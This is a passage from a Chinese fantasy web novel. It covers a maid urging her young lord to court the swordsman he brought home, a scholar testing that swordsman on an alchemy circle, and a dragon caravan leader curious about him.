女仆长提起裙摆，带着女仆拾级而上。 脚步声被地毯吸收，鞋跟频繁敲打，却没有发出任何声响。 一行人穿过二楼走廊，影子顺着地面滑向墙壁。 一侧墙上挂满艾尔扬祖先的半身像，时间由近及远，最早一幅成画于王国创建之前。 彼时，帕托斯平原烽火四起，权贵们四分五裂。大小领主各自为战，混乱的战火持续上千年。 画像之间立有铠甲，每件都有辉煌的历史，表面伤痕累累。 它们不是简单的装饰品，曾被众多骑士穿戴在身上，经历过战场厮杀。 墙壁上还挂有武器，刀剑依旧闪烁寒光，能够吹毛断发。 穹顶垂下金色灯台，成排的蜡烛被点燃，火光照亮整条走廊，却不见一丝烟气。 女仆长一路前行，掠过一幅又一幅画像，在走廊尽头停住脚步。 她面前是一扇雕刻雄鹰的房门，门后是城堡主人的卧室。 此刻房门半敞，艾尔扬站在房间中，头盔和胸甲挂在一旁，正单手扯开内衬，任由宝石钮扣崩落在地。 距离他不远，一张办公桌靠墙摆放。 桌上堆满羊皮卷，主要是未处理的信件，带有不同家族的蜡印徽章。 “少爷。”阿林娜走入室内，上前接过艾尔扬的腰带，“您是否需要沐浴？” “当然。”艾尔扬从托盘中拿起酒杯，仰头灌下一大口，缓解喉咙的干渴，也放松紧绷的神经，“我隔壁的房间，尽快收拾一下。” “您的隔壁？” 艾尔扬摇晃着酒杯，看向诧异的阿林娜：“我带回的人，他叫夏维。安排他住在我隔壁。他的妹妹，阿林娜，你来教导她。” 女仆长直起腰，挑了下眉：“少爷，我该如何服务他，一名您招揽的剑士，还是别的？” “剑士。” “您确定？” “目前。”艾尔扬补充道，“我要顾及方托学士。如果他真打算收一名学徒，事情会有些麻烦。” 阿林娜看着艾尔扬，拾起他脱下的衬衫，折叠两下搭在手臂上。 她是艾尔扬母亲的侍女，照顾艾尔扬长大。艾尔扬对她十分宽容，即使她偶尔会过于耿直。 就如现下。 “恕我直言，艾尔扬大人，”女仆长挺直脊背，目光锐利，语气严肃，“您不该如此瞻前顾后。” 艾尔扬下意识握紧酒杯。 阿林娜就像是他的另一个母亲。 在母亲去世之后，是阿林娜一直保护他，让他能平安长大，顺利成为家族的继承人。 在阿林娜摆出严肃表情时，他仿佛回到童年，总会下意识站得笔直。 “您既然把他带回来，安排他住在您隔壁，就证明您的心意。身为辛西娅夫人的儿子，您理应果决刚毅。” 阿林娜的目光愈发尖锐。 像一只雌性猛禽，挥舞着翅膀教育幼鸟，全因这只幼鸟太不争气。 “只要您下定决心，任何人都无法成为阻碍，方托也不行。”她说道。 “阿林娜，我……” “当然，强来也不行，那是野蛮人才做的事情。”女仆长根本不听辩解，继续侃侃而谈，“您的父亲有许多缺点，但在追求爱情这件事上，他的确出类拔萃，否则也不会得到您的母亲。” “阿林娜，你听我说……” “您已经成年了，学一学您父亲的手段，遇到心仪的对象，不能只是把人抢进城堡。您应该送给他珠宝，讨他欢心，还要穿上漂亮的衣服，佩戴发亮的首饰，向他展示您最好的一面。如果展示羽毛不行，那就想方设法诱惑他，让他喜欢上你的身体。这不难，对不对，艾尔扬少爷？” 阿林娜一口气说完，句句掷地有声：“您不能一直单身。石崖领的卡萨拉都有了情人，您不能还是个雏鹰！” 艾尔扬很庆幸，女仆们都在门外，房间中只有两人。 他默默放下酒杯，单手覆上眼前，无奈地发出叹息。 “好吧，阿林娜，我会照你说的去做。”排解掉尴尬的情绪，他放下手，重新变回温文尔雅的青年，“现在，我会去沐浴，让自己更加体面。请你去见方托学士，给我带回的宝石送去礼物。另外看一看，学士究竟打算做什么？” “我很乐意，少爷。”阿林娜欣然领命。 她向艾尔扬行礼，转身离开房间。 站在走廊内，阿林娜叫来信任的女仆，迅速吩咐几句：“打开库房，我要亲自挑选，确保少爷的意中人能够满意。” 女仆长有坚定的意志，势必要让自己守护的少爷得偿所愿。 没人能阻止她。 方托也不行。 26、第二十六章 风息堡建于五百前，城堡内部构造复杂，多条暗道贯穿各层。 外墙开有射击孔，墙内雕刻炼金阵，比起贵族城堡更像是一个军事堡垒。 方托学士的房间位于城堡一层，大厅左侧的一排石柱后。 年迈的老人精神矍铄，步伐稳健，走起路来虎虎生风。 灰色的长袍在他身后翻飞，活似一双鸟的翅膀，靠得太近还可能被打在脸上。 “跟上，年轻人，还有你，漂亮的小姑娘。” 方托学士带着两人穿过石柱，进入一条狭窄曲折的走廊。 走廊内光线昏暗，与明亮的大厅截然不同。 灯龛开凿在墙壁中部，内部摆设石碗，碗中注入灯油，灯芯悬浮在灯油中，顶端跳跃幽蓝色火光。 灯光勉强照亮脚下，大半条走廊仍被黑暗笼罩。 夏维牵着安娜跟上方托学士，沾着泥巴的鞋子踩过地面，在身后留下两排清晰的脚印。 “夏维，你真要跟他学习？”安娜拉低斗篷，凑近夏维耳边说道。 夏维握了握少女的手，同样放轻声音：“目前来看，这是最好的办法。” 他需要接触飞马商队，那位要塞长官是最大的阻碍。 他的灵力尚未恢复，正面冲突胜算不大。既然这位老人愿意提供庇护，他乐得顺水推舟。 至于对方的目的，总有水落石出的时候。 事情不会变得更糟了。 “安娜，我们需要安稳，哪怕时间短暂。”夏维收紧手指，将少女拉得更近，以只有两人能听清的声音说道，“我需要去见那支商队，得到我要的东西。事情办完，我会带着你离开，就像之前一样。” “像离开黑石城堡？” “是的。” “好。” 两人低声交流时，方托学士行至走廊尽头，推开一扇不起眼的木门。 冷风刮过走廊，带起一阵呜咽声。 木门完全敞开，门内透出光亮，温暖的橙光辐射开，吞噬走廊内的幽暗。 “快过来，年轻人该有年轻人的活力。”方托学士站在门旁，维持推开木门的姿势，朝两人招手。 夏维和安娜结束谈话，同时加快脚步走了进去。 门后是一间宽敞的工作室，面积大得超出想象。穹顶挑高超过十米，天花板雕刻不规则的图案，类似星空图。 一张偌大的金属桌案立在房间正中，桌腿形似兽爪，牢牢抓进地面。 桌面泛起金属冷光，从左至右分成不同区域，摆放各式各样的器皿。 瓶瓶罐罐采用不同材料，水晶、琉璃、黄金、白银、黑铁，夏维认识的和不认识的，挤挤挨挨堆在一起，很难一眼认清用途。 之字形楼梯嵌入墙壁，楼梯之间是内嵌的书架，架子上堆满书籍。有泛黄的羊皮卷，古老的硬壳书，脆弱的纸莎草纸和罕见的雕刻石板。 接近天花板的位置，楼梯突然截断，一排书架悬空，上面摆放着零星书籍，书皮流淌暗红，或是萦绕着黑气，看上去就十分不祥。 书架下方立有多扇木门，包括方托的卧室和会客室。除非得到本人允许，没人能轻易走进去。 进到房间内，方托学士大步流星走向工作台，在一侧敲打两下，拉出一张备用台面，还移来一张椅子，招手让夏维坐下。 “你认识多少字，能完整的读懂一本书吗？”方托转身走向书架，打开下层的抽屉，取出羊皮纸和墨水，还有一支簇新的羽毛笔，依次摆放到桌上。 如之前所言，他在准备一场考试。 “我读过两本史诗，算数也还可以。”夏维坐到椅子上，主动铺开羊皮卷，拿起羽毛笔。 笔杆上缠绕两圈金环，既有装饰作用，也更加方便抓握和书写。 这一点和石崖领有很大不同。 “史诗？”方托学士抽书的动作顿住，按下之前的主意，抬高手臂，取出更高处的一本。 这是一本笔记。 在他年轻时记录，囊括炼金、巫术、草药、星象、算数以及各种稀奇古怪的知识。还掺杂个别政治问题。 “你来看看这个。”方托学士走到桌前，将笔记放到夏维面前。他随手翻过两页，手指一张复杂的图案，在旁边的文字上敲了敲。 “能试着拆解吗？” 他指给夏维的是一枚炼金阵，属于初学者的水平，仍需要严谨的思维和高深的数学知识。以卡列尔为参照物，这辈子都得不出正确答案。 夏维凝视页面，对方托说道：“我可以试试。” “好，写在这里。”方托示意夏维集中注意力，“看到那个钟摆了吗，五个刻度内交给我，我就算你成功。” 夏维抬眼望过去，估算一下时间，大概是半个时辰。 足够了。 他对方托学士点点头，其后拿起羽毛笔，蘸了蘸墨水，开始在羊皮纸上计算。 安娜无事可做，正打算靠着墙边坐下，就见方托学士从架子上取下一只方筒形盒子，打开盒盖，现出满满一盒糖果和饼干。 其后又走向工作台，点亮一枚炼金阵。 桌上的水壶自行飞来，落在炼金阵中央，壶中注满清水，不多时就开始沸腾。 方托取出两只金杯，向杯中投入晒干的花瓣，舀进小半勺蜂蜜，用热水冲泡。一股香气飘出，沁人心脾。 他端着杯子坐到书架旁，招手让安娜过去，指了指自己对面的椅子：“小姑娘，来坐下吃点东西。” 安娜迟疑地看着他，又看向夏维。 后者一心二用，在计算的同时关注她的情况，不着痕迹地点点头。 安娜没有再犹豫，快步走过去，抓紧裙摆坐到椅子上。 抬眼看向方托，老人慈祥地对她微笑，推动金杯和装满食物的盒子：“别客气，你一定饿了。” 安娜谢过老人，尝试拿起一块饼干，送到嘴边咬了下去。 饼干散发黄油的香味，表面撒满糖粒。入口酥脆，奶香十足，好吃得令人想要叹息。 方托留意到安娜拿饼干的顺序，全是他吃过的。他没动的，少女完全不碰。 很谨慎，也足够警惕。 老人拿起桌上的铃铛，随意晃动两下。 不多时，一阵敲门声响起，侍奉他的仆人出现在门后。 “准备干净的衣服和斗篷，还有鞋子。”方托分别指了指夏维和安娜，“适合他们的尺寸，尽快送来。” 仆人躬身领命，迅速退出房间。 过程中，夏维始终低头书写，笔尖不停，没有分出半点心思。 这份专注力让方托十分满意。 “您为什么要这样做？”安娜看向方托学士，抓着吃到一半的饼干，探究隐藏在年轻的面孔下，刻意表现出惶恐，样子惴惴不安，“我和哥哥四处游历，您是最好心的贵族老爷。您难道不担心触怒那位大人？” 安娜说话时，夏维执笔的手微顿。 方托学士笑得更加慈祥。 他看出少女的试探，但不以为忤，反而觉得十分有趣。 “聪明的孩子，总是讨人喜欢。”他没有正面回答安娜的问题，从盒子里拿出一颗糖果，送到嘴里咬着，声音一点也不含糊，“你的兄长成为我的学徒，这是星象的指引。我会保护你们，教导你们，从而得到我想要的。” “星象的指引？” “星辰象征永恒。即使被云雾遮挡，短暂迷失在暗夜中，它们依旧存在，仍会发亮。”方托学士端起高脚杯，轻啜一口，话中意味深长。 夏维停下笔，认真聆听方托的话。 星象，预言，永恒？ 果然，更像了。 像那些老奸巨猾，云山雾罩，总是说一半藏一半的老家伙。 夏维抿了抿嘴角，落笔速度加快，沙沙声不绝于耳。 限定的时间不到一半，他就完成计算和书写，问题的答案的跃然纸上。 夏维停笔时，墙上的铜钟散发微光，钟摆摇动，发出悦耳的敲击声。 时间进入后半夜，城堡内变得冷清，城外的集市也褪去喧嚣。 个别队伍在夜间抵达，马蹄声和说话声传入集市，并未引来更多注意。 除了守在摊位前的商队成员，以及夜间巡逻的队伍，多数人打着哈欠，各自返回帐篷休息，准备迎接明日的繁忙。 飞马商队，属于领队的大帐内，依旧是灯火通明。 伊姆莱和塔利席地而坐，四只眼睛一眨不眨，紧盯着对面的黧炎。 “老大，你也看到了，那人是黑头发，还有黑眼睛。”塔利性子急躁，迫不及待开口，“他绝不是帕托拉人。除了你，我再没看过这样的发色。” “我知道你想说什么，他不是龙。”黧炎坐在矮桌旁，药剂的效果开始减弱，发尾逐渐变色，“想弄清楚，必须和他近距离接触。” 近距离。 多近？ 伊姆莱和塔利同时扬眉。 一头水龙和一头火龙，难得神情相仿，思维相通。 “老大，你不会是想把他抢回烈焰岛吧？”伊姆莱试探问道。 黧炎单手揽过发尾，查看变色迹象，闻言诧异地看向他：“你在说什么，伊姆莱，我难道是一条恶龙吗？” 不，你不是。 伊姆莱诚恳摇头。 他的表情严肃认真，代表出口的每一个字都发自内心：“我们何德何能，敢和您相提并论。” 烈焰岛上没有善良。 从巨龙到龙仆，有一个算一个，都是邪恶阵营。 身为一条暗龙，黧炎绝对是邪恶秩序中金字塔顶的存在。 比黑暗更黑，比恶龙更恶。 这是不争的事实。